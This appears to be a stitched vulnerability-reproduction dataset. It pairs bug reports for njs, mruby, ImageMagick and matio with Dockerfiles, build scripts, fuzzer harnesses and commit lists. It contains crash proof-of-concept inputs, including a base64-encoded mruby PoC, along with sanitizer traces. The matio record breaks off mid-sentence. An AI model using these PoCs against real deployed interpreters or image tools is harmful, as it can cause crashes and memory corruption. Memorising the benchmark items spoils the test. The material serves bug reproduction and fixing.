================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/nginx/njs/issues/469 ## Description: Issue: nginx/njs#469 Title: Patch bypass for njs_await_fulfilled, causing UAF again State: closed Created by: P1umer Created at: 2022-02-15 08:42:02+00:00 Labels: bug, fuzzer Issue Body: This UAF was introduced in a patch for a similar bug #451, which shows that njs_await_fulfilled is still flawed. ### Environment ``` OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux Commit : 7bd570b39297d3d91902c93a624c89b08be7a6fe Version : 0.7.2 Build : NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address" NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer" ``` ### Proof of concept ``` async function a0(v) { await 1; a0(); } a0(); ``` ### Stack dump ``` ================================================================= ==2064567==ERROR: AddressSanitizer: heap-use-after-free on address 0x62500009da60 at pc 0x00000049595f bp 0x7ffdd8c90f20 sp 0x7ffdd8c906e8 WRITE of size 88 at 0x62500009da60 thread T0 #0 0x49595e in __asan_memset (/home/p1umer/Documents/origin/njs/build/njs+0x49595e) #1 0x53947f in njs_function_frame_alloc /home/p1umer/Documents/origin/njs/src/njs_function.c:574:5 #2 0x5397a7 in njs_function_lambda_frame /home/p1umer/Documents/origin/njs/src/njs_function.c:466:20 #3 0x4eae3e in njs_function_frame /home/p1umer/Documents/origin/njs/src/njs_function.h:155:16 #4 0x4eae3e in njs_function_frame_create /home/p1umer/Documents/origin/njs/src/njs_vmcode.c:1740:16 #5 0x4e32e8 in njs_vmcode_interpreter /home/p1umer/Documents/origin/njs/src/njs_vmcode.c:736:23 #6 0x605ecc in njs_await_fulfilled /home/p1umer/Documents/origin/njs/src/njs_async.c:96:11 #7 0x53bf9c in njs_function_native_call /home/p1umer/Documents/origin/njs/src/njs_function.c:739:11 #8 0x53a5d9 in njs_function_frame_invoke /home/p1umer/Documents/origin/njs/src/njs_function.c:777:16 #9 0x53a5d9 in njs_function_call2 /home/p1umer/Documents/origin/njs/src/njs_function.c:600:11 #10 0x5f53c7 in njs_function_call /home/p1umer/Documents/origin/njs/src/njs_function.h:180:12 #11 0x5f53c7 in njs_promise_reaction_job /home/p1umer/Documents/origin/njs/src/njs_promise.c:1171:15 #12 0x53bf9c in njs_function_native_call /home/p1umer/Documents/origin/njs/src/njs_function.c:739:11 #13 0x4de620 in njs_vm_invoke /home/p1umer/Documents/origin/njs/src/njs_vm.c:375:12 #14 0x4de620 in njs_vm_call /home/p1umer/Documents/origin/njs/src/njs_vm.c:359:12 #15 0x4de620 in njs_vm_handle_events /home/p1umer/Documents/origin/njs/src/njs_vm.c:524:19 #16 0x4de620 in njs_vm_run /home/p1umer/Documents/origin/njs/src/njs_vm.c:479:12 #17 0x4c8407 in njs_process_script /home/p1umer/Documents/origin/njs/src/njs_shell.c:937:15 #18 0x4c7484 in njs_process_file /home/p1umer/Documents/origin/njs/src/njs_shell.c:632:11 #19 0x4c7484 in main /home/p1umer/Documents/origin/njs/src/njs_shell.c:316:15 #20 0x7f03823f40b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #21 0x41dabd in _start (/home/p1umer/Documents/origin/njs/build/njs+0x41dabd) 0x62500009da60 is located 352 bytes inside of 8192-byte region [0x62500009d900,0x62500009f900) freed by thread T0 here: #0 0x495f7d in free (/home/p1umer/Documents/origin/njs/build/njs+0x495f7d) #1 0x53c2c9 in njs_function_frame_free /home/p1umer/Documents/origin/njs/src/njs_function.c:797:13 #2 0x4e9817 in njs_vmcode_return /home/p1umer/Documents/origin/njs/src/njs_vmcode.c:1810:5 #3 0x4e9817 in njs_vmcode_await /home/p1umer/Documents/origin/njs/src/njs_vmcode.c:1905:12 #4 0x4e9817 in njs_vmcode_interpreter /home/p1umer/Documents/origin/njs/src/njs_vmcode.c:831:24 #5 0x53b43a in njs_function_lambda_call /home/p1umer/Documents/origin/njs/src/njs_function.c:703:11 #6 0x60595d in njs_async_function_frame_invoke /home/p1umer/Documents/origin/njs/src/njs_async.c:32:11 #7 0x4e47fa in njs_vmcode_interpreter /home/p1umer/Documents/origin/njs/src/njs_vmcode.c:785:23 #8 0x605ecc in njs_await_fulfilled /home/p1umer/Documents/origin/njs/src/njs_async.c:96:11 #9 0x53bf9c in njs_function_native_call /home/p1umer/Documents/origin/njs/src/njs_function.c:739:11 #10 0x53a5d9 in njs_function_frame_invoke /home/p1umer/Documents/origin/njs/src/njs_function.c:777:16 #11 0x53a5d9 in njs_function_call2 /home/p1umer/Documents/origin/njs/src/njs_function.c:600:11 #12 0x5f53c7 in njs_function_call /home/p1umer/Documents/origin/njs/src/njs_function.h:180:12 #13 0x5f53c7 in njs_promise_reaction_job /home/p1umer/Documents/origin/njs/src/njs_promise.c:1171:15 #14 0x53bf9c in njs_function_native_call /home/p1umer/Documents/origin/njs/src/njs_function.c:739:11 #15 0x4de620 in njs_vm_invoke /home/p1umer/Documents/origin/njs/src/njs_vm.c:375:12 #16 0x4de620 in njs_vm_call /home/p1umer/Documents/origin/njs/src/njs_vm.c:359:12 #17 0x4de620 in njs_vm_handle_events /home/p1umer/Documents/origin/njs/src/njs_vm.c:524:19 #18 0x4de620 in njs_vm_run /home/p1umer/Documents/origin/njs/src/njs_vm.c:479:12 #19 0x4c8407 in njs_process_script /home/p1umer/Documents/origin/njs/src/njs_shell.c:937:15 #20 0x4c7484 in njs_process_file /home/p1umer/Documents/origin/njs/src/njs_shell.c:632:11 #21 0x4c7484 in main /home/p1umer/Documents/origin/njs/src/njs_shell.c:316:15 #22 0x7f03823f40b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 previously allocated by thread T0 here: #0 0x496c97 in posix_memalign (/home/p1umer/Documents/origin/njs/build/njs+0x496c97) #1 0x62044c in njs_memalign /home/p1umer/Documents/origin/njs/src/njs_malloc.c:39:11 #2 0x4cf7ab in njs_mp_alloc_large /home/p1umer/Documents/origin/njs/src/njs_mp.c:577:13 #3 0x5395b1 in njs_function_frame_alloc /home/p1umer/Documents/origin/njs/src/njs_function.c:564:17 #4 0x5397a7 in njs_function_lambda_frame /home/p1umer/Documents/origin/njs/src/njs_function.c:466:20 #5 0x4eae3e in njs_function_frame /home/p1umer/Documents/origin/njs/src/njs_function.h:155:16 #6 0x4eae3e in njs_function_frame_create /home/p1umer/Documents/origin/njs/src/njs_vmcode.c:1740:16 #7 0x4e32e8 in njs_vmcode_interpreter /home/p1umer/Documents/origin/njs/src/njs_vmcode.c:736:23 #8 0x605ecc in njs_await_fulfilled /home/p1umer/Documents/origin/njs/src/njs_async.c:96:11 #9 0x53bf9c in njs_function_native_call /home/p1umer/Documents/origin/njs/src/njs_function.c:739:11 #10 0x53a5d9 in njs_function_frame_invoke /home/p1umer/Documents/origin/njs/src/njs_function.c:777:16 #11 0x53a5d9 in njs_function_call2 /home/p1umer/Documents/origin/njs/src/njs_function.c:600:11 #12 0x5f53c7 in njs_function_call /home/p1umer/Documents/origin/njs/src/njs_function.h:180:12 #13 0x5f53c7 in njs_promise_reaction_job /home/p1umer/Documents/origin/njs/src/njs_promise.c:1171:15 #14 0x53bf9c in njs_function_native_call /home/p1umer/Documents/origin/njs/src/njs_function.c:739:11 #15 0x4de620 in njs_vm_invoke /home/p1umer/Documents/origin/njs/src/njs_vm.c:375:12 #16 0x4de620 in njs_vm_call /home/p1umer/Documents/origin/njs/src/njs_vm.c:359:12 #17 0x4de620 in njs_vm_handle_events /home/p1umer/Documents/origin/njs/src/njs_vm.c:524:19 #18 0x4de620 in njs_vm_run /home/p1umer/Documents/origin/njs/src/njs_vm.c:479:12 #19 0x4c8407 in njs_process_script /home/p1umer/Documents/origin/njs/src/njs_shell.c:937:15 #20 0x4c7484 in njs_process_file /home/p1umer/Documents/origin/njs/src/njs_shell.c:632:11 #21 0x4c7484 in main /home/p1umer/Documents/origin/njs/src/njs_shell.c:316:15 #22 0x7f03823f40b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 SUMMARY: AddressSanitizer: heap-use-after-free (/home/p1umer/Documents/origin/njs/build/njs+0x49595e) in __asan_memset Shadow bytes around the buggy address: 0x0c4a8000baf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a8000bb00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a8000bb10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a8000bb20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4a8000bb30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x0c4a8000bb40: fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd 0x0c4a8000bb50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4a8000bb60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4a8000bb70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4a8000bb80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4a8000bb90: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==2064567==ABORTING ``` ### Credit p1umer(@P1umer) Comments: Comment by xeioex on 2022-02-18 18:25:34+00:00: The patch ```diff # HG changeset patch # User Dmitry Volyntsev <xeioex@nginx.com> # Date 1645208528 0 # Fri Feb 18 18:22:08 2022 +0000 # Node ID d3bd263c19c4e2bbf65ddae3764f3eae6f45648a # Parent b7a93f20410a99f186ca7c85f7c9187b8212474f Fixed frame allocation from an awaited frame. njs_function_frame_save() is used to save the awaited frame when "await" instruction is encountered. The saving was done as a memcpy() of existing runtime frame. njs_function_frame_alloc() is used to alloc a new function frame, this function tries to use a spare preallocated memory from the previous frame first. Previously, this function might result in "use-after-free" when invoked from a restored frame saved with njs_function_frame_save(). Because njs_function_frame_save() left pointers to the spare memory of the original frame which may be already free when saved frame is restored. The fix is to erase fields for the spare memory from the saved frame. This closes #469 issue on Github. diff --git a/src/njs_function.c b/src/njs_function.c --- a/src/njs_function.c +++ b/src/njs_function.c @@ -811,9 +811,13 @@ njs_function_frame_save(njs_vm_t *vm, nj njs_native_frame_t *active, *native; *frame = *vm->active_frame; + frame->previous_active_frame = NULL; native = &frame->native; + native->size = 0; + native->free = NULL; + native->free_size = 0; active = &vm->active_frame->native; value_count = njs_function_frame_value_count(active); diff --git a/test/js/async_recursive_large.t.js b/test/js/async_recursive_large.t.js new file mode 100644 --- /dev/null +++ b/test/js/async_recursive_large.t.js @@ -0,0 +1,26 @@ +/*--- +includes: [compareArray.js] +flags: [async] +---*/ + +let stages = []; + +async function f(v) { + if (v == 1000) { + return; + } + + stages.push(`f>${v}`); + + await "X"; + + await f(v + 1); + + stages.push(`f<${v}`); +} + +f(0) +.then(v => { + assert.sameValue(stages.length, 2000); +}) +.then($DONE, $DONE); diff --git a/test/js/async_recursive_mid.t.js b/test/js/async_recursive_mid.t.js --- a/test/js/async_recursive_mid.t.js +++ b/test/js/async_recursive_mid.t.js @@ -6,7 +6,7 @@ flags: [async] let stages = []; async function f(v) { - if (v == 3) { + if (v == 1000) { return; } ``` --- Comment by ViieeS on 2022-02-21 09:57:23+00:00: @xeioex May I know your plans for a new release including the patch? --- Comment by xeioex on 2022-02-21 18:58:48+00:00: Hi @ViieeS, No specific plans yet. Approximately in two weeks. Commit References: 7bd570b39297d3d91902c93a624c89b08be7a6fe b7a93f20410a99f186ca7c85f7c9187b8212474f d3bd263c19c4e2bbf65ddae3764f3eae6f45648a
[]
[ { "sha": "ad48705bf1f04b4221a5f5b07715ac48b3160d53", "url": "https://github.com/nginx/njs/commit/ad48705bf1f04b4221a5f5b07715ac48b3160d53" }, { "sha": "7bd570b39297d3d91902c93a624c89b08be7a6fe", "url": "https://github.com/nginx/njs/commit/7bd570b39297d3d91902c93a624c89b08be7a6fe" }, { "sha": "d3bd263c19c4e2bbf65ddae3764f3eae6f45648a", "url": "https://github.com/nginx/njs/commit/d3bd263c19c4e2bbf65ddae3764f3eae6f45648a" }, { "sha": "b7a93f20410a99f186ca7c85f7c9187b8212474f", "url": "https://github.com/nginx/njs/commit/b7a93f20410a99f186ca7c85f7c9187b8212474f" } ]
mruby.cve-2022-0481
mruby/mruby
8d06e79c578a3b24c45ae4881c5122b73b3bff59
2022-02-02T05:57:43
mruby
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential ruby bison ninja-build cmake zlib1g-dev libbz2-dev liblzma-dev RUN git clone https://github.com/mruby/mruby mruby RUN git -C mruby checkout 8d06e79c578a3b24c45ae4881c5122b73b3bff59 WORKDIR $SRC/mruby COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu cd $SRC/mruby export LD=$CC export LDFLAGS="$CFLAGS" rake -m
/src/mruby
address
================= Bug Report (1/1) ================== ## Source: Huntr ## URL: https://huntr.dev/bounties/54725c8c-87f4-41b6-878c-01d8e0ee7027 ## Description: Description There is a NULL Pointer Dereference in iv_free (src/variable.c:232:20). This bug has been found on mruby lastest commit (hash 00f2b74ab2c1f03084908c815dcd0934f9fc702a) on Ubuntu 20.04 for x86_64/amd64. Proof of Concept 3.times{e=0,"#{* =c={} [y:0,**0] 0}"} Steps to reproduce 1- Clone repo and build with ASAN using MRUBY_CONFIG=build_config/clang-asan.rb rake 2- Use mruby to execute the poc: $ echo -ne "My50aW1lc3tlPTAsIiN7KiA9Yz17fQpbeTowLCoqMF0KMH0ifQ==" | base64 -d > poc $ mruby poc /home/faraday/mruby/src/variable.c:232:20: runtime error: member access within misaligned address 0x000000000001 for type 'iv_tbl' (aka 'struct iv_tbl'), which requires 8 byte alignment 0x000000000001: note: pointer points here <memory cannot be printed> SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/faraday/mruby/src/variable.c:232:20 in /home/faraday/mruby/src/variable.c:232:20: runtime error: load of misaligned address 0x000000000009 for type 'mrb_value *' (aka 'struct mrb_value *'), which requires 8 byte alignment 0x000000000009: note: pointer points here <memory cannot be printed> SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/faraday/mruby/src/variable.c:232:20 in AddressSanitizer:DEADLYSIGNAL ================================================================= ==77626==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000009 (pc 0x0000007e9575 bp 0x62f000017fb8 sp 0x7fff1e800280 T0) ==77626==The signal is caused by a READ memory access. ==77626==Hint: address points to the zero page. #0 0x7e9574 in iv_free /home/faraday/mruby/src/variable.c:232:20 #1 0x7e9574 in mrb_gc_free_iv /home/faraday/mruby/src/variable.c:278:5 #2 0x5efb1a in obj_free /home/faraday/mruby/src/gc.c:856:5 #3 0x5e26a5 in free_heap /home/faraday/mruby/src/gc.c:433:9 #4 0x5e26a5 in mrb_gc_destroy /home/faraday/mruby/src/gc.c:442:3 #5 0x63e1de in mrb_close /home/faraday/mruby/src/state.c:195:3 #6 0x4cb74a in main /home/faraday/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c #7 0x7fbe060530b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #8 0x41f89d in _start (/home/faraday/mruby/build/host/bin/mruby+0x41f89d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/faraday/mruby/src/variable.c:232:20 in iv_free ==77626==ABORTING Running the same script with a release build (without asan) results in a segfault due to the invalid dereference. Impact This vulnerability is capable of making the mruby interpreter crash, thus affecting the availability of the system. Acknowledgements This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team. Relevant Links: https://github.com/mruby/mruby
[]
[ { "sha": "54725c8c", "url": null }, { "sha": "ae3c99767a27f5c6c584162e2adc6a5d0eb2c54e", "url": "https://github.com/mruby/mruby/commit/ae3c99767a27f5c6c584162e2adc6a5d0eb2c54e" }, { "sha": "00f2b74ab2c1f03084908c815dcd0934f9fc702a", "url": "https://github.com/mruby/mruby/commit/00f2b74ab2c1f03084908c815dcd0934f9fc702a" } ]
imagemagick.cve-2017-17880
imagemagick/imagemagick
ddbf0ed10323d0fb329189041190630a8f7af5a7
2017-12-25T07:15:39
imagemagick
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/imagemagick/imagemagick imagemagick RUN git -C imagemagick checkout ddbf0ed10323d0fb329189041190630a8f7af5a7 WORKDIR $SRC/imagemagick COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --prefix="$WORK" --disable-shared --disable-docs make "-j$(nproc)" make install -j$(nproc)
/src/imagemagick
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/ImageMagick/ImageMagick/issues/907 ## Description: Issue: ImageMagick/ImageMagick#907 Title: stack-buffer-overflow in SetImageProgress State: closed Created by: henices Created at: 2017-12-21 08:52:20+00:00 Labels: bug Issue Body: /usr/local/bin/magick -version Version: ImageMagick 7.0.7-16 Q16 x86_64 2017-12-21 http://www.imagemagick.org Copyright: © 1999-2018 ImageMagick Studio LLC License: http://www.imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP Delegates (built-in): bzlib cairo djvu fftw fontconfig freetype gvc jbig jng jpeg lcms lqr lzma pangocairo png rsvg tiff webp wmf x xml zlib Trigger Command: **magick convert stack-buffer-overflow-0 /dev/null** ``` ================================================================= ==32293==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffde8684f48 at pc 0x7f9afe1f585e bp 0x7ffde8681020 sp 0x7ffde8681010 READ of size 8 at 0x7ffde8684f48 thread T0 #0 0x7f9afe1f585d in SetImageProgress MagickCore/monitor-private.h:33 #1 0x7f9afe1f80f3 in WebPEncodeProgress coders/webp.c:558 #2 0x7f9afb157973 (/lib64/libwebp.so.7+0x4f973) #3 0x7f9afb13b487 (/lib64/libwebp.so.7+0x33487) #4 0x7f9afb159b66 (/lib64/libwebp.so.7+0x51b66) #5 0x7f9afb13bd7b (/lib64/libwebp.so.7+0x33d7b) #6 0x7f9afb157e36 in WebPEncode (/lib64/libwebp.so.7+0x4fe36) #7 0x7f9afe1f9cbe in WriteWEBPImage coders/webp.c:769 #8 0x7f9afdb334cc in WriteImage MagickCore/constitute.c:1114 #9 0x7f9afdb34209 in WriteImages MagickCore/constitute.c:1333 #10 0x7f9afd35bd6f in ConvertImageCommand MagickWand/convert.c:3280 #11 0x7f9afd46025c in MagickCommandGenesis MagickWand/mogrify.c:183 #12 0x401b16 in MagickMain utilities/magick.c:149 #13 0x401d80 in main utilities/magick.c:180 #14 0x7f9af704a009 in __libc_start_main (/lib64/libc.so.6+0x21009) #15 0x4015d9 in _start (/usr/local/bin/magick+0x4015d9) Address 0x7ffde8684f48 is located in stack of thread T0 at offset 40 in frame #0 0x7f9afdb3298e in WriteImage MagickCore/constitute.c:975 This frame has 4 object(s): [32, 40) 'lsb_first' <== Memory access at offset 40 overflows this variable [96, 4192) 'filename' [4224, 8320) 'image_filename' [8352, 12448) 'extension' HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow MagickCore/monitor-private.h:33 in SetImageProgress Shadow bytes around the buggy address: 0x10003d0c8990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10003d0c89a0: 00 00 00 04 f2 f2 f2 f2 00 00 00 00 00 00 00 00 0x10003d0c89b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10003d0c89c0: 00 00 00 00 00 00 00 00 f3 f3 f3 f3 00 00 00 00 0x10003d0c89d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x10003d0c89e0: 00 00 00 00 f1 f1 f1 f1 00[f2]f2 f2 f2 f2 f2 f2 0x10003d0c89f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10003d0c8a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10003d0c8a10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10003d0c8a20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10003d0c8a30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==32293==ABORTING ``` testcase: https://github.com/henices/pocs/raw/master/stack-buffer-overflow-0 Credit: zz of NSFocus Security Team <security (at) nsfocus (dot) com> Comments: Comment by urban-warrior on 2017-12-21 11:45:40+00:00: Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ https://www.imagemagick.org/download/beta/ by sometime tomorrow. --- Comment by nohmask on 2017-12-25 04:06:02+00:00: This was assigned CVE-2017-17880.
[ { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n uint16_t Width;\n uint16_t Height;\n if (Size < (sizeof(Width) + sizeof(Height))) {\n return 0;\n }\n Width = *reinterpret_cast<const uint16_t *>(Data);\n Height = *reinterpret_cast<const uint16_t *>(Data + sizeof(Width));\n const Magick::Blob blob(Data + sizeof(Width) + sizeof(Height),\n Size - (sizeof(Width) + sizeof(Height)));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.crop(Magick::Geometry(Width, Height));\n return 0;\n}\n", "filename": "crop_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\n#define FUZZ_ENCODER_STRING_LITERAL(name) #name\n#define FUZZ_ENCODER FUZZ_ENCODER_STRING_LITERAL(FUZZ_IMAGEMAGICK_ENCODER)\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n\n Magick::Blob outBlob;\n try {\n image.write(&outBlob, FUZZ_ENCODER);\n } catch (Magick::Exception &e) {\n }\n return 0;\n}\n", "filename": "encoder_fuzzer.cc" }, { "content": "#include <iostream>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int main() {\n size_t nFormats;\n Magick::ExceptionInfo ex;\n const Magick::MagickInfo **formats = GetMagickInfoList(\"*\", &nFormats, &ex);\n\n for (size_t i = 0; i < nFormats; i++) {\n const Magick::MagickInfo *format = formats[i];\n if (format->encoder && format->name) {\n std::cout << format->name << std::endl;\n }\n }\n}\n", "filename": "encoder_list.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n image.enhance();\n } catch (Magick::Exception &e) {\n return 0;\n }\n return 0;\n}\n", "filename": "enhance_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n Magick::ExceptionInfo ex;\n auto res = HuffmanDecodeImage(image.image(), &ex);\n return 0;\n}\n", "filename": "huffman_decode_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n if (Size < sizeof(double)) {\n return 0;\n }\n double Degrees = *reinterpret_cast<const double *>(Data);\n if (!isfinite(Degrees)) {\n return 0;\n }\n const Magick::Blob blob(Data + sizeof(Degrees), Size - sizeof(Degrees));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.rotate(Degrees);\n return 0;\n}\n", "filename": "rotate_fuzzer.cc" } ]
[ { "sha": "4b5d1edb02c432040e3ff894d0c461bcce6fd2c9", "url": "https://github.com/ImageMagick/ImageMagick/commit/4b5d1edb02c432040e3ff894d0c461bcce6fd2c9" }, { "sha": "663b3b432c202cd2aeda7ea7e82b74cce51ab1cf", "url": "https://github.com/ImageMagick/ImageMagick/commit/663b3b432c202cd2aeda7ea7e82b74cce51ab1cf" } ]
matio.cve-2019-9038
tbeu/matio
55e506b9d46b5ee8036dc7933178f3c59e715ff1
2018-10-22T23:21:48
matio
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/tbeu/matio matio RUN git -C matio checkout 55e506b9d46b5ee8036dc7933178f3c59e715ff1 WORKDIR $SRC/matio COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./autogen.sh ./configure make -j$(nproc) make install -j$(nproc)
/src/matio
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/tbeu/matio/issues/103 ## Description: Issue: tbeu/matio#103 Title: some memory corruption problems when the library parse the mat file State: closed Created by: cool-tomato Created at: 2019-02-20 02:24:30+00:00 Labels: bug Issue Body: I found several memory corruption problem in the library. More details can be found at [here](https://github.com/TeamSeri0us/pocs/tree/master/matio). Comments: Comment by PhilipMorrisJones on 2019-03-07 04:54:21+00:00: @tbeu, can you comment on this and say if it is a real vulnerability or not and if so when it is likely to be fixed? There are 13 CVEs related to this CVE-2019-9038 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is an out-of-bounds read problem with a SEGV in the function ReadNextCell() in mat5.c. -- | -- CVE-2019-9037 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a buffer over-read in the function Mat_VarPrint() in mat.c. CVE-2019-9036 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow in the function ReadNextFunctionHandle() in mat5.c. CVE-2019-9035 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read in the function ReadNextStructField() in mat5.c. CVE-2019-9034 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read for a memcpy in the function ReadNextCell() in mat5.c. CVE-2019-9033 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read for the "Rank and Dimension" feature in the function ReadNextCell() in mat5.c. CVE-2019-9032 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is an out-of-bounds write problem causing a SEGV in the function Mat_VarFree() in mat.c. CVE-2019-9031 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a NULL pointer dereference in the function Mat_VarFree() in mat.c. CVE-2019-9030 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read in Mat_VarReadNextInfo5() in mat5.c. CVE-2019-9029 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is an out-of-bounds read with a SEGV in the function Mat_VarReadNextInfo5() in mat5.c. CVE-2019-9028 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read in the function InflateDimensions() in inflate.c when called from ReadNextCell in mat5.c. CVE-2019-9027 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow problem in the function ReadNextCell() in mat5.c. CVE-2019-9026 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow in the function InflateVarName() in inflate.c when called from ReadNextCell in mat5.c. --- Comment by tbeu on 2019-03-07 06:23:41+00:00: Working on them. (That's why I pinned the issue). --- Comment by tbeu on 2019-03-07 07:36:04+00:00: And, it only happens with crafted MAT-files (created by fuzzing). --- Comment by PhilipMorrisJones on 2019-03-07 12:36:41+00:00: @tbeu, thank you. We use this library and appreciate its compactness and usefulness. Do you know anything about @cool-tomato and why she would fuzz your code? --- Comment by tbeu on 2019-03-07 16:04:48+00:00: Fuzzing is easy, probably fun and gives you some credits. Do not know him/her. --- Comment by tbeu on 2019-03-09 22:11:12+00:00: Resolved by a0539135c9b1ab7613aa7953279da9224da88775 and 2c20d2178017b3eb13ab160cef239648f9915bdb in master branch. --- Comment by TeoShaw on 2019-03-11 06:31:47+00:00: Great to hear that this has been resolved. On what time scale will we be able to download 1.5.14 and get access to these security improvements? Thanks, T. --- Comment by tbeu on 2019-03-11 06:55:52+00:00: Will 